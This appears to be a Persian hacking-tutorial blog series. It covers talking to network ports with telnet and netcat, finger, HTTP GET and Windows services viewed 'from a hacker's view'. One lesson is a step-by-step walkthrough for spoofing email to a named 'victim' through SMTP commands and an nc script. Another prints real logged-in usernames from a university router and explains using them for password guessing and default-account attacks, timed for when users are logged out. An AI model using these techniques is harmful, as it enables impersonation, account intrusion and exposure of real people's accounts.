حالا که معيارهای مهم برای انتخاب SMTP Server را شناختيم، حالا وقتش است که عملا يه SMTP Server پيدا کنيم:
۱- يکي از ساده‌ترين راه‌ها استفاده از سايت‌هايي مثل google است که با جستجوی عبارت SMTP Server هزاران سرور پيدا کنيم.
۲- استفاده از SMTP Server سايت دانشگاه‌ها. تجربه برام ثابت کرده که اين روش يکي از بهترين‌هاست.
۳- استفاده از يک سری SMTP Server های مشهور. اين روش هم بد نيست.

حالا روش را عملا نشونتون مي‌دم:
اول بايد يک سرور را مشخص کنيد که از طريق آن مي‌خواهيد fake mail را بفرستيد. همان‌طور که قبلا گفتم اگر مثلا مي‌خواهيد برای يه نفر که mail box او در ياهو است، fake mail بزنيد، سرور را همان سرور در نظر بگيريد يعني از خود yahoo.com برای ارسال استفاده کنيد.
بعد بايد ببينيد که در اين سرور کدام subdomain بايد استفاده کنيد (يعني اينکه SMTP Server سرور آدرسش، mail.yahoo.com است يا mx.yahoo.com است يا چيز ديگر). برای اين کار دو روش را مي‌گم:
۱- از nslookup استفاده کنيم:
با nslookup قبلا آشنا شده‌ايد. اول بايد با whois يک name server پيدا مي‌کرديم و بعد از طريق آن سايت را nslookup مي‌کرديم (اگر فراموش کرده‌ايد، درس ۵ و ۶ را دوباره بخوانيد. مثلا مي‌خواهم SMTP Server مربوط به far30.com را پيدا کنم. اول يک whois مي‌کنم و مي‌بينم که name server سايت، s1.sazin.com و s2.sazin.com است. حالا nslookup مي‌کنم و آن سطر هايي را مي‌خوانم که با نام MX مشخص شده است و ۲ تا آدرس مي‌بينم که عبارتند از far30.com و mail.far30.com پس SMTP Server های سايت far30.com همين دو آدرس است. در نتيجه اگر بخواهم از سايت far30.com برای ارسال fake mail استفاده کنم، از اين آدرس‌ها بايد بهره‌ گيرم.
۲- استفاده از بعضي سايت‌های خاص:
يکي از اين سايت‌ها http://www.mob.net/~ted/tools/mx.php3 است. در اين سايت، نام سايت را مي‌نويسيد و دکمه lookup را کليک مي‌کنيد. مثلا من نوشتم yahoo.com و به نتايج زير رسيدم:
Domain Server: ns.mob.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.

Domain Server: ns.cw.net
yahoo.com mail is handled by 5 mx4.mail.yahoo.com.
yahoo.com mail is handled by 1 mx1.mail.yahoo.com.
yahoo.com mail is handled by 1 mx2.mail.yahoo.com.

...
مشخص است که SMTP Server های سايت yahoo.com عبارتند از: mx1.mail.yahoo.com , mx2.mail.yahoo.com , mx4.mail.yahoo.com
اگرچه اين روش راحت‌تر به نظر مي‌رسد ولي شما را يه انسان مصرفي بار مي‌آورد نه خلاق !


- با پورت ۲۵ صحبت کنيم

حالا که SMTP Server دارم مي‌تونم fake mail بزنم.
به عنوان مثال مي‌خواهم به آدرس target@yahoo.com يک fake mail بزنم که شخص فکر کند که Email از آدرس me@hotmal.com آمده است. (دقت کنيد که اين آدرس هر چيزی مي‌تواند باشد. مثلا مي‌توانيد از طرف Bill Gates به يه نفر E-mail بزنيد). و مي‌خواهم Subject آن باشد: arze salam و متن پيغام اين باشد: bah bah sam aleikum
برای اين کار :
۱- چون mail box قرباني در سايت ياهو است، پس من هم بهتر است از SMTP Server خود ياهو استفاده کنم (بهتر است ولي اجباری در آن نيست). SMTP Server های ياهو را در قسمت قبلي به دست آوردم. مثلا از mx1.mail.yahoo.com استفاده مي‌کنم.
۲- بايد از telnet يا nc برای برقراری ارتباط استفاده کنم. الان مي‌خوام از telnet استفاده کنم. پس بايد دستور زير را به‌کار برم (دقت کنيد که از اسم SMTP Serevr استفاده کردم).
telnet mx1.mail.yahoo.com 25
بعد از تايپ دستور، صفحه پاک مي‌شود و جواب مي‌گيرم:
220 YSmtp mta499.mail.yahoo.com ESMTP service ready
۳- حالا دستور زير را مي‌نويسم. دقت کنيد که چون از telnet استفاده مي‌کنيد، چيزهايي را که تايپ مي‌کنيد، نمي‌بينيد و اينکه نمي‌تونيد از دکمه BackSpace استفاده کنيد (پس در تايپ‌کردن دقت کنيد!):
HELO yahoo.com
اين دستور يعني من از کجا هستم (يعني شما که مي‌خواهيد ميل بزنيد، کي هستيد). اينجا من گفتم که من از سايت yahoo.com هستم!! معمولا مهم نيست که جلوی عبارت HELO نام چه سايتي را بنويسيد چون اکثرا چک نمي‌شود. و جواب مي‌شنوم:
250 mta499.mail.yahoo.com
۴- حالا بايد مشخص کنم که E-mail فرستنده (يعني من) چيست. چون مي‌خواهم E-mail از طرف me@hotmail.com به نظر بيايد، مي‌نويسم:
MAIL FROM: <me@hotmail.com>
و جواب مي‌گيرم:
250 sender <reza@beduhi.com> ok
۵- حالا بايد بگم که اين E-mail به چه آدرس ارسال شود که در اين مثال، target@yahoo.com است. بايد بنويسم:
RCPT TO: <target@yahoo.com>
و جواب مي‌شنوم:
250 recipient <target@yahoo.com> ok
۶- حالا بايد بنويسم،
DATA
و Enter بزنم و جواب مي‌شنوم:
354 go ahead
اينجا وقت تايپ کردن يک سری چيز‌های اساسي است. اول مي‌نويسم،
From: abbas akbari <me@hotmail.net>
اين همان اسمي است که به عنوان Sender يا همان From ديده خواهد شد. من‌ خواستم که به اسم abbas akbari ديده شود. حالا مي‌نويسم:
Subject: arze salam
اين هم در آن E-mail به عنوان subject خواهد بود. حالا موارد زير را مي‌نويسم (که اختياري است):
MIME-Version: 1.0
Content-Type: text/plain;
و بعد دوتا !! Enter زده و متن نامه را مي‌نويسم:
bah bah
sam aleikum
.
دقت کنيد که يک کاراکتر . (نقطه) در سطر آخر نوشتم و بعد Enter زدم. با اين روش به پورت ۲۵ حالي مي‌کنم که متن نامه تمام شده‌است و نامه ارسال شود. متعاقبا پيغامي مي‌گيرم که بيانگر ارسال E-mail است.
250 ok dirdel
۷- مي‌نويسم:
QUIT
تا ارتباط قطع شود و از telnet خارج بشم.

اول توصيه مي‌کنم که يک fake mail واسه خودتون بفرستيد تا ماهيت fake mail را درک کنيد.
مسئله بعدی آن است که در قسمتي target@yahoo.com نوشته شده است، شما بايد اين سطر را تغيير داده و E-mail قرباني خودتان در ياهو را بنويسيد!


- همان کار با nc

برای انجام اين کار با nc اول همان دستورات بالا را در فايلي مثلا به اسم fake.txt مي‌نويسيم :
HELO yahoo.com
MAIL FROM: <me@hotmail.com>
RCPT TO: <target@yahoo.com>
DATA
From: abbas akbari <me@hotmail.net>
Subject: arze salam
MIME-Version: 1.0
Content-Type: text/plain;

bah bah
sam aleikum
.
QUIT
حالا فايل را ذخيره کرده و از دستور زير استفاده مي‌کنم:
nc -v mx1.mail.yahoo.com 25 < fake.txt
همين!


- Fake mail در صندوق پستي به چه شکلي ظاهر مي‌شود؟

اين قسمت رو در مورد mail box های yahoo و hotmail توضيح مي‌دم.

اينکه اين نوع E-mail ها به چه شکلي ظاهر مي‌شود، بستگي به اين دارد که تنظيمات mail box قرباني در چه حالتي تنظيم شده باشد. در حالت معمول فقط تعدادی از header ها نمايش داده مي‌شود. در اين حالت معمولا fake mail مثل يک E-mail معمولي ديده مي‌شود.
From: "abbas akbari" <me@hotmail.net>
Subject: arze salam

bah bah
sam aleikum
در mail box ها مي‌توان تنظيمات را طوری انجام داد که تمام header ها نمايش داده شوند.
برای اينکار در yahoo از منويي که بالای صفحه است، منوی Mail را باز کرده و گزينه Options را کليک مي‌کنيم. در صفحه‌ای که مي‌آيد، روی گزينه General Preferences کليک کنيد. در صفحه‌ای که مي‌آيد، از قسمت Message در قسمت Headers گزينه ... Show all را انتخاب مي‌کنيم و دکمه Save را از پايين صفحه کليک مي‌کنيم. حالا همان ميل را دوباره باز مي‌کنم و مشاهده مي‌کنم که به شکل زير ظاهر مي‌شود:
From abbas akbari Mon Jan 6 05:56:37 2003 
X-Apparently-To: ali1000vali2000@yahoo.com via 216.136.129.53; 06
Jan 2003 05:56:37 -0800 (PST)
Return-Path:
Received: from 217.218.84.27 (HELO yahoo.com) (217.218.84.27) by
mta576.mail.yahoo.com with SMTP; 06 Jan 2003 05:56:37 -0800 (PST)
From: "abbas akbari" <me@hotmail.net>
Subject: arze salam
MIME-Version: 1.0
Content-Type: text/plain;
Content-Length: 19

bah bah
sam aleikum
در اين حالت مي‌توانيد ip ارسال کننده را هم ببينيد. (سعي کنيد که هميشه تنظيمات yahoo mailbox تان به اين شکل باشد)

 
comment نظرات ()
 
 
قسمت نوزدهم(پورت ۸۰)
نویسنده : Hossein - ساعت ٩:٤٦ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- پورت ۸۰ چيست؟

پورت ۸۰ يکی از مهم‌ترين پورت‌هاست. دنيای وب (صفحات اينترنتی) بر اساس همين پورت کار می‌کنه. توضيح اينکه وقتی به يه سايت وصل می‌شيم و صفحه وب را درخواست می‌کنيم، در واقع مرورگر اينترنتی به پورت ۸۰ اون کامپيوتر وصل می‌شه و اطلاعات رو می‌گيره (البته بعد از گرفتن اطلاعات اون رو تفسير می‌کنه و به صورت يه صفحه نشون می‌ده - دقت کنيد که اطلاعات در واقع به صورت يک سری تگ HTML است ).


- با پورت ۸۰ صحبت کنيم

حالا ما می‌خواهيم با پورت ۸۰ يک کامپيوتر صحبت کنيم ولی به کمک telnet و nc.
اول بايد يه connection (اتصال) با پورت ۸۰ برقرار کنيم (مثلا برای سايت hotmail.com بايد بنويسم):
telnet www.hotmail.com 80
nc -v www.hotmail.com 80
پس اول بايد يکی از دستورات بالا را استفاده کنيم. من هميشه توصيه‌ام استفاده از nc بوده و خواهد بود.
حالا بايد شروع به صحبت با پورت ۸۰ کنيم. من فعلا دو تا جمله براتون می‌گم و بقيه‌اش بمونه واسه بعد. دقت کنيد که موقع کار با پورت ۸۰ با تلنت (نه nc) دستوراتی که ما می‌نويسيم، نمايش داده نمی‌شود ولی کار می‌کنه.
۱- اولين جمله اينه: GET / HTTP/1.0 و بعدش دوتا Enter
به فاصله‌ها دقت کنيد. دو طرف / ی که بعد از GET است، فاصله وجود دارد. اين جمله به پورت ۸۰ می‌گه که هرچی در header داره، نشون بده. و جواب می‌شنوم:
HTTP/1.0 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Thu, 05 Dec 2002 12:02:51 GMT
Location: http://lc2.law5.hotmail.passport.com/cgi-bin/login
X-Cache: MISS from cache5.neda.net.ir
Connection: close

۲- دومين جمله اينه: GET / what/ever و بعدش دوتا Enter
به فاصله‌ها دقت کنيد. اين دستور باعث ميشه که هر چی داره، رو کنه.

البته توجه کنيد که ما مسير را مشخص نکرديم. اين حالت که بدون مسير است خيلی وقت‌ها کار نمی‌کنه (مثل همين مثال !!)


گاهی پيش می‌آد که يک سری دستورات خاص را هميشه بايد پشت‌ سرهم به يه پورت خاص بفرستيم و بخواهيم در وقت صرفه‌جويی کنيم. مثلا همين جمله GET / HTTP/1.0 و دو Enter پشت سرهم که هميشه استفاده می‌کنيم. در اين موارد می‌توان اين دستورات را در يک فايل تايپ کرد (همراه با Enter ها که بايد موقع نوشتن حتما بزنيد) و بعد مثلا با نام ali.txt ذخيره کنيد و بعد يکی از دستورات زير را بنويسيم:
nc -v www.far30.com 80 < ali.txt
type ali.txt | nc -v www.far30.com 80
که همان کارهای بالايی را انجام ميده.


- حالا مي‌خوام مسير رو مشخص کنم

مثلا فرض کنيد که مي‌خوام فايلي به اسم index.html را از مسير startup در سايتي به اسم www.site.com داون‌لود کنيم. اول يه nc مي‌کنيم به سايت. بعد مي‌نويسيم:
GET /startup/index.html HTTP/1.0
بعد دو تا Enter مي‌زنيم.
اين مثال نشون ميده که چطوري مسير رو ميشه مشخص کرد. همين کار رو مي‌تونيم براي فايل‌هايي مثل فايل‌هاي گرافيکي و ... انجام بديم و حتي مي‌تونيد اطلاعاتي که مي‌رسه رو در يک فايل ذخيره کنيد. براي اين‌کار مي‌نويسيد:
nc -v www.site.com 80 > index.html
(اين کاري که کرديم با موردي که در بالا نوشتيم فرق مي‌کنه! در بالا دستورات GET رو تو يه فايل مي‌نوشتيم و مي‌فرستاديم که اجرا بشه ولي الان داريم نتايجي که بر مي‌گرده رو در يک فايل ذخيره مي‌کنيم!) ميشه اين دوتا رو ترکيب کرد مثلا نوشت:
nc -v www.site.com 80 < dastoorat.txt > index.html

 
comment نظرات ()
 
 
قسمت هیجدهم(پورت ۷۹ )
نویسنده : Hossein - ساعت ٩:٤٤ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- پورت ۷۹ چيست؟

پورت ۷۹ را پورت finger مي‌گويند. کاربرد اين پورت به اوايل ايجاد اينترنت بر‌مي‌گرده و کاربردش مخصوص سيستم‌عامل يونيکس بوده‌است (الان هم تقريبا فقط در خانواده سيستم‌های يونيکس اين پورت قابل استفاده است).
وقتي اين پورت روی سيستم‌عامل يونيکس باز باشه، مي‌شه با يک request ساده فهميد که از بين کساني که در آن سيستم account دارند، کدام‌ها on هستند (يعني کدام‌ها به سيستم login شده‌اند). برنامه‌اي که پورت ۷۹ رو در يک سيستم باز مي‌کنه، finger server مي‌گن و چون مختص سيستم‌عامل يونيکس است، مي‌تونين از عبارت Finger Deamon استفاده کنين. حالا که پورت ۷۹ روي سيستم باز شد، شما مي‌تونين با اون ارتباط برقرار کنين.


- با پورت ۷۹ صحبت کنيم

همان‌طور که مي‌دانيد، براي صحبت کردن با پورت‌ها از دو برنامه telnet و nc ميشه استفاده کرد. در مورد پورت ۷۹ يه نرم‌افزار ديگر به نام finger در تمام سيستم‌عامل‌های يونيکس و برخي سيستم‌عامل‌هاي ويندوز وجود دارد که علاوه بر دو برنامه قبلي، اونم مي‌شه به کار برد.
فرض کنيد که مي‌خوام با پورت ۷۹ در کامپيوتری به اسم router2.iums.ac.ir ارتباط برقرا کنم. برای اين‌ کار يکي از سه دستور زير را استفاده مي‌کنم:
telnet router2.iums.ac.ir 79
nc -v router2.iums.ac.ir 79
finger .@router2.iums.ac.ir
دقت کنيد که در دو دستور اول شماره پورت مشخص شده ولي دستور آخري نه، چون دستور finger فقط براي همين‌کار استفاده مي‌شه و نمي‌توان باهاش با پورت ديگه‌ای ارتباط برقرار کرد. ضمنا به ساختار دستور آخر توجه کنيد. بعد از اجرای دستور، جواب مي‌شنوم:
    Line     User      Host(s)                  Idle Location
33 tty 33 whgh Async interface 0
34 tty 34 najahan Async interface 0
35 tty 35 sadf Async interface 0
36 tty 36 abokho Async interface 0
38 tty 38 whgh Async interface 0
39 tty 39 bzamani Async interface 0
40 tty 40 saeedmah Async interface 0
41 tty 41 mfaizi Async interface 0
42 tty 42 gourabi Async interface 0
43 tty 43 farhadz Async interface 0
44 tty 44 arbks Async interface 0
45 tty 45 mhalavi Async interface 0
46 tty 46 farhood Async interface 0
47 tty 47 staavoni Async interface 0
48 tty 48 whgh Async interface 0
* 66 vty 0 idle 0 217.218.84.58

Interface User Mode Idle Peer Address
نکته مهم اين است که اطلاعاتي که به کمک پورت ۷۹ به دست مي‌آد، خيلي بستگي به سروري داره که اين اطلاعات رو مي‌فرسته. بعضي از سيستم‌ها علاوه بر نام افراد (username) که در اين مثال ديده مي‌شه، نام و نام خانوادگي افراد، ساعت و محل login کردن و ... را نمايش مي‌دهند. اما چيزي که هميشه وجود دارد و مشترک است، username هاست که از نقطه نظر يک هکر بسيار ارزشمند است. در اين مثال ما اکانت‌هايي به اسم najahan ،whgh و ... در اين سرور وجود دارد و افراد مربوطه در حال حاضر login کرده‌اند. اگر اکانتي موجود باشد ولي فرد مورد نظر در حال حاضر از آن اکانت وارد نشده باشد، نمايش داده نمي‌شود. اين ليست فقط براي اکانت‌های فعال است. پس نتايجي که شما در ارتباط با اين سرور کسب مي‌کنيد، با نتايجي که من نوشتم متفاوت خواهد بود.


- اين اطلاعات به چه دردي مي‌خورد؟

اول اينو بگم که finger کردن، جزئي از مراحل Enumeration است (البته در حالت کاربرد legal يا قانوني). منظور از عبارت Enumeration يا به طور خلاصه Enum، پيدا کردن ليست کاربران است.
+ فرض کنيد مي‌خواهيد يک ليست از پسورد‌ها را تست کنيد تا اينکه يکي شانسي درست در بياد (درست مثل دزدها که يه سري کليد را تست مي‌کنن که يکي به قفل بخوره و باز کنه!) حالا سوال اينه که اين پسورد‌ها رو برای چه username ي تست مي‌کنيد؟ جواب، username هايي است که با Enumeration به دست اومده است. پس اول با Enumeration يه ليست پيدا مي‌کنيد و بعد تعداد زيادی پسورد رو روش تست مي‌کنيد (روش اين کارو بعدا مي‌گم).
+ کاربرد بعدی finger در رابطه با يک سري اکانت‌هاي خاص است. من هميشه وقتي به يک اکانت به اسم guest برخورد مي‌کنم، هميشه پسوردهای guest يا libguest يا myguest و ... رو تست مي‌کنم که گاهي جواب ميده. همين‌طور در مورد اکانتي به اسم demo پسورد demo را تست مي‌کنم و ... معمولا موسسات بزرگ پر است از اين username هاي عمومي که حدس زدن پسورد مربوطه کار مشکلي نيست.
+ گفتم که بعضي سرورهاي finger نام و نام‌خانوادگي افراد را هم برايمان مي‌فرستند. چون بعضي از افراد متاسفانه يا خوشبختانه از اين اطلاعات براي پسوردشون استفاده مي‌کنند، مي‌تونه مفيد باشه.
+ يک کاربرد ديگه و البته بسيار مهم موقعي است که مثلا مي‌خواهيد يک سري پسورد رو روي يک اکانت خاص تست کنيد. من هميشه اول يک finger مي‌کنم که مطمئن بشم که فرد در حال حاضر login نکرده باشد و بعد اين کار رو شروع مي‌کنم ( يعني انقدر صبر مي‌کنم که ديگه آن اسم خاص در finger نمايش داده نشه يعني طرف مقابل logout کرده باشد!)
+ بازم يه کاربرد‌هاي مهم ديگه هست که الان بهتون نمي‌گم تا تو خماريش بمونين ! شوخي کردم، وقتي بحث پورت‌ها تموم شد و رسيديم به کاربرد‌هاي غير معمول اين پورت‌ها، براتون حتما مي‌گم.

 
comment نظرات ()
 
 
قسمت هفدهم(کار با پورت‌ها - پورت ۷ و ۱۳ )
نویسنده : Hossein - ساعت ٩:٤۳ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- شروع کار با پورت‌ها

الان به جايی رسيده‌ايم که می‌توانيم بحث پورت‌ها را شروع کنيم. اولين نکته‌ای که بايد بگم اين است که ابزاری که به کمک آن با پورت‌ها صحبت می‌کنيم در همه پورت‌ها يکی است ولی هر پورتی زبان مخصوص خود دارد (درست مثل زبان‌های مختلف در جهان که همشون از طريق زبان و دهان ادا می‌شن ولی هر کدام روش خاصی برای ارتباط برقرار کردن دارند). پس ما برای کار با پورت‌ها بايد زبان هرکدام را ياد بگيريم.
بحث بعدی اين است که وقتی می‌گيم يه پورت بازه بايد توجه کنيد که برنامه‌ای روی آن کامپيوتر نصب شده و اون پورت را باز کرده است (پورت‌ها خود به خود باز نمی‌شوند). يک سری پورت‌ها توسط خود سيستم‌عامل باز می‌شوند (يعنی به محض نصب سيستم‌عامل که خودش هم درواقع يه نرم‌افزاره) و نيازی نيست که برنامه ديگری برايش نصب کنيم. در مقابل، بعضی پورت‌های ديگر توسط برنامه‌های جانبی باز می‌شوند.
به عنوان مثال وقتی می‌گم که پورت ۲۵ روی يک ip باز است، اين معنی را دارد که برنامه‌ای روی اون کامپيوتر خاص وجود دارد که پورت ۲۵ را باز کرده و من وقتی از طريق کامپيوتر خودم با آن پورت کار می‌کنم در واقع دارم با آن برنامه خاص (که اون پورت را باز کرده) صحبت می‌کنم.
حالا يه سوال پيش می‌آد که چرا اصلا يه نرم‌افزار بايد پورت باز کنه و اينکه کدام نرم‌افزارها بايد پورت باز کنند؟
جواب اين است که هر برنامه‌ای که بخواهد از طريق شبکه (يعنی از راه دور اصطلاحا remote) قابل دسترس باشه بايد يه پورت باز کنه. پس يک برنامه‌ای که نيازی به برقراری ارتباط شبکه‌ای ندارد (مثلا يه نرم‌افزار گرافيکی) نبايد و نشايد که پورت باز کند.

بايد ببينيم که از طريق چه برنامه‌ای می‌توان با پورت‌ها صحبت کرد ( البته با هرکدام به روش خودشان )؟
برای اين‌کار از دو نرم‌افزار به نام‌های telnet و nc استفاده می‌کنيم. telnet که در خود سيستم‌عامل وجود دارد و nc را هم که جلسه قبل داون‌لود کرديم.
حالا چگونه از اين دو نرم‌افزارها می‌توان استفاده کنيم؟
۱- استفاده از telnet :
اگر بخواهيم با ip ای به شماره 194.225.184.13 از طريق پورت 25 صحبت کنيم بايد بنويسيم:
telnet 194.225.184.13 25
و بعد اينکه ارتباط برقرار شد بايد شروع کنيم و از طريق زبان پورت ۲۵ با آن صحبت کنيم.
۲- استفاده از nc :
اگر بخواهيم همان کار را با netcat انجام دهيم، بايد بنويسيم:
nc -v 194.225.184.13 25
و بعد از برقراری ارتباط شروع به صحبت کنيم.


- با پورت ۱۳ صحبت کنيم

نام ديگر اون daytime است و کارش هم اينه که زمان و تاريخ رو در اون کامپيوتر به ما می‌ده. اين پورت اصولا خيلی سر راسته. فقط کافيه که بهش وصل شيم تا اطلاعاتشون بيرون بريزه. البته اين پورت رو خيلی از کامپيوترها بسته است. (يادتون باشه که وقتی می‌توان با يه پورت کار کرد که باز باشد).
حالا می‌خوايم با پورت ۱۳ از ip شماره 194.225.184.13 صحبت کنم. يکی از اين دو دستور را می‌نويسم:
telnet 194.225.184.13 13
nc -v 194.225.184.13 13
البته در آن دستورات به جای عدد ۱۳ می‌توان معادلش را نوشت که daytime است.
و جواب می‌شنوم:
11:35:33 AM 10/5/2002
بله، با اين پورت ارتباط برقرار کرديم و اطلاعاتش رو دريافت کرديم. اين اطلاعات معمولا به درد اين می‌خورد که مکان جغرافيايی اون کامپيوتر را حدس بزنيم (البته اگر زمان اون کامپيوتر صحيح باشد). به عنوان مثال اين کامپيوتر خاص در ايران است چون ساعتش همزمان با ايران است.


- با پورت ۷ صحبت کنيم

اسم اين پورت echo است. من اين پورت رو پورت ميمون می‌گم چون هرچی که شما براش بنويسيد را تقليد می‌کنه و همان‌ها را براتون پس می‌فرستد. مثلا من به پورت ۷ کامپيوتری با ip شماره 194.225.184.13 تلنت يا nc می‌کنم.
telnet 194.225.184.13 7
nc -v 194.225.184.13 7
بعد از برقراری ارتباط، هر چی من بنويسم، اون برام پس می‌فرسته. مثلا اگه تايپ کنم Ali1000 و Enter بزنيم، جواب می‌شنوم، Ali1000 ... خودتون امتحان کنيد تا ببينيد. برای تمام شدن کار بايد دکمه Ctrl+C را فشار دهيم تا اين ميمون بازی تموم بشه.
پس کار کردن با اين پورت هم زياد سخت نيست.

 
comment نظرات ()
 
 
قسمت شانزدهم( ضروريات ويندوز سرور براي هکرها - قسمت پنجم )
نویسنده : Hossein - ساعت ٢:٠٠ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- يادآوري

اين مقاله ادامه مقاله قبلي‌ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه‌اي که هست نداريم.


- سرويس‌ها در ويندوز سرور

براي بعضي کارهاي خاص، بعضي سرويس‌ها بايد در کامپيوتر قرباني فعال باشند يا ما بايد فعالشون کنيم. ( مثلا در درس‌هاي قبلي در مورد schedule service مطالبي رو به‌ شما گفتم. فرمودم! که اگه بخوايم کارهاي زمان‌بندي شده رو در سرور ويندوز انجام بديم، اين سرويس بايد به‌راه باشه. ) بنابراين از ديد يک هکر بعضي سرويس‌ها مهم‌تر هستند که به اونها خواهيم پرداخت.

اول چند اصطلاح رو بايد ياد بگيريد:
۱- Display Name : نام کامل سرويس است. مثلا "Terminal Services" براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
۲- Service Name يا Key Name : نام خلاصه شده و يک کلمه‌اي براي سرويس‌هاست. مثلا TermService براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
۳- Process Name : اسم يک فايل اجرايي ( با پسوند exe ) که سرويس رو ايجاد کرده است. مثلا svchost.exe براي ترمينال سرويس. ( دقت کنيد که ممکن است يک پروسس چند سرويس مختلف رو ايجاد کند )

خوب حالا بهتره بدونيد که سيستم‌عامل موقعي که بالا مياد ( restart ميشه ) با توجه به تنظيمات هر سرويس مي‌تونه به سه شکل با اون رفتار کنه:
۱- Automatic : اگر سرويس در اين وضعيت تنظيم شده باشد، هر وقت که سرور بالا مياد، سرويس هم به صورت اتوماتيک شروع به کار مي‌کنه.
۲- Manual : اگر سرويس در اين وضعيت باشه، به صورت دستي ( يا توسط يک سرويس ديگه ) ميشه اونو فعال يا غير فعال کرد ولي موقع بالا اومدن به صورت پيش‌فرض غير فعال خواهد بود.
۳- Disabled : اگه سرويس در اين وضعيت باشه، موقع بالا اومدن سيستم‌عامل، غير فعال خواهد بود و يک يوزر يا يک سرويس وابسته نمي‌تونه اونو فعال کنه.

وضعيت سرويس‌ها هم قابل بررسي است:
۱- Running : يعني الان در وضعيت اجرا است.
۲- Paused : يعني هنوز در وضعيت اجرا هست ولي کاري رو قبول نمي‌کنه. براي ادامه کار بايد Continue کنيم.
۳- Stopped : يعني متوقف شده، براي ادامه کار دوبار بايد Start بشه.

و ما نسبت به اين سرويس‌ها چند تا کار مي‌تونيم انجام بديم:
۱- Start : يعني از حالت Stopped خارج بشه و شروع به کار کنه.
۲- Stop : يعني متوقف بشه.
۳- Pause : يعني کاري رو قبول نکنه. يه درجه پايين تر از stop است چون براي ادامه کار لازم نيست دوباره فراخواني بشه ( يعني آماده کار است ولي موقتا کاري نمي‌گيره )
۴- Continue : يعني از حالت Pause خارج شده و در وضعيت Running قرار بگيره.
۵- Delete : يعني يک سرويس موجود رو پاک کنيم ( اگه بخوايم دوباره بهش دست‌رسي پيدا کنيم، بايد دوباره نصب شود ). با اين کار تمام کليدها و ورودي‌هاي مربوطه از رجيستري پاک مي‌شوند.
۶- Create و Install : عمل عکس Delete رو انجام بديم. يعني يک سرويس جديد ايجاد کنيم. با اين کار کليدها و ورودي‌هاي مربوطه به رجيستري اضافه مي‌شوند.

حالا بهتره سرويس‌هاي مهم هکري رو ليست کنم ( اين ليست از سايت http://www.ss6A.com گرفته شده است. با کمي تغييرات و اضافات ) :

Display name Service name Process name Description Status
Application Management appmgt Services.exe or svchost.exe Installation services (Add/Remove Programs) - Assign, Publish, and Remove. Manual
Computer Browser Browser Services.exe Actively collect the names of NetBIOS resources on the network, creating a list so that it can participate as a master browser or basic browser (one that takes part in browser elections).
This maintained list of resources (computers) is displayed in Network Neighborhood and Server Manager.
Automatic
DHCP Client Dhcp Services.exe or svchost.exe Manage network configuration by registering and updating IP addresses and DNS names. Automatic
DNS Client Dnscache Services.exe Resolves and caches Domain Name System (DNS) names. Automatic
EventLog EventLog Services.exe Record System, Security, and Application Events.
Viewed with the MMC Event Viewer (eventvwr.exe in NT).
Automatic
IIS Admin Service IISAdmin %SystemRoot%\System32\inetsrv\inetinfo.exe Allows administration of Web and FTP services through the Internet Information Services snap-in. Automatic (if IIS installed)
Internet Connection Sharing (Internet Connection Firewall) SharedAccess svchost.exe -k netsvcs Network address translation, addressing, and name resolution services for all computers on your home network through a dial-up connection. Automatic
IPSEC Policy Agent PolicyAgent lsass.exe Manage IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. Automatic or Disable
Kerberos Key Distribution Center kdc lsass.exe Generates session keys and grants service tickets for mutual client/server authentication. Disable
Messenger Messenger Services.exe Process the delivery of pop-up messages sent by the Alerter service, or via NET SEND. The messages appear on the recipient's machines, and must be clicked OK to disappear.
This service is also required to receive any messages sent by the Messenger service from another machine.
This service is not related to Windows Messenger
Automatic
Network Connections Netman svchost.exe -k netsvcs Manage objects in the Network and Dial-Up Connections folder (LAN and remote connections.) Manual
Net Logon Netlogon Lsass.exe
(Local Security Authority Subsystem)
Network Authentication: maintains a synced domain directory database between the PDC and BDC(s), handles authentication of respective accounts on the DCs, and authenticates domain accounts on networked machines. Automatic - when connected to a domain.
Manual for stand-alone machines.
NetMeeting Remote Desktop Sharing Nmnsrvc mnmsrvc.exe Allows authorized people to remotely access your Windows desktop using NetMeeting. Manual or Disabled
NT LM Security Support Provider NtLmSsp Services.exe Extends NT security to Remote Procedure Call (RPC) programs using various transports other than named pipes.
RPC activity is quite common, and most RPC apps don't use named pipes.
Manual
Protected Storage ProtectedStorage Pstores.exe Encrypt and store secure info: SSL certificates, passwords for Outlook, Outlook Express, Profile Assistant, MS Wallet, and digitally signed S/MIME keys. Automatic
Remote Procedure Call (RPC) Locator RpcLocator Locator.exe Maintain the RPC name server database, requires the RPC service (below) to be started. Database of available server applications. Manual
Remote Procedure Call (RPC) Service
or
Remote Procedure Call (RPC)
RpcSs Rpcss.exe or svchost -k rpcss This RPC subsystem is crucial to the operations of any RPC activities taking place on a system (DCOM, Server Manager, User Manager)
Rpcss.exe is also known as dcomss.exe (Distributed Common Object Model).
Automatic
Remote Registry Service RemoteRegistry regsvc.exe Allow remote registry manipulation. Automatic or disabled
Routing and Remote Access RemoteAccess svchost.exe -k netsvcs Allow incoming connections via dial in or VPN. Disable for security reasons or Manual
RunAs Service (Secondary Logon) secLogon services.exe or svchost.exe Enables starting processes under alternate credentials. Automatic or Disable
Schedule (Task scheduler) Schedule atsvc.exe or mstask.exe This service is required for the use of the AT command, which allows the scheduling of commands (Jobs) to be run on the machine, at a specific date & time.
Under NT it's a Resource Hog.
Under XP it's used by some auto-tuning operations.
Automatic
Security Accounts Manager SamSs lsass.exe Stores security information for local user accounts. Automatic
Server LanmanServer Services.exe Support for file sharing, print sharing, and named pipe sharing via SMB services. Automatic.
Disable on an IIS Server or if no resources are shared.
Simple Mail Transport Protocol (SMTP) SmtpSvc %SystemRoot%\System32\inetsrv\inetinfo.exe Transports electronic mail across the network Automatic (if IIS installed)
Simple TCP/IP Services SimpTcp tcpsvcs.exe Supports the following TCP/IP services: Character Generator, Daytime, Discard, Echo, and Quote of the Day.  
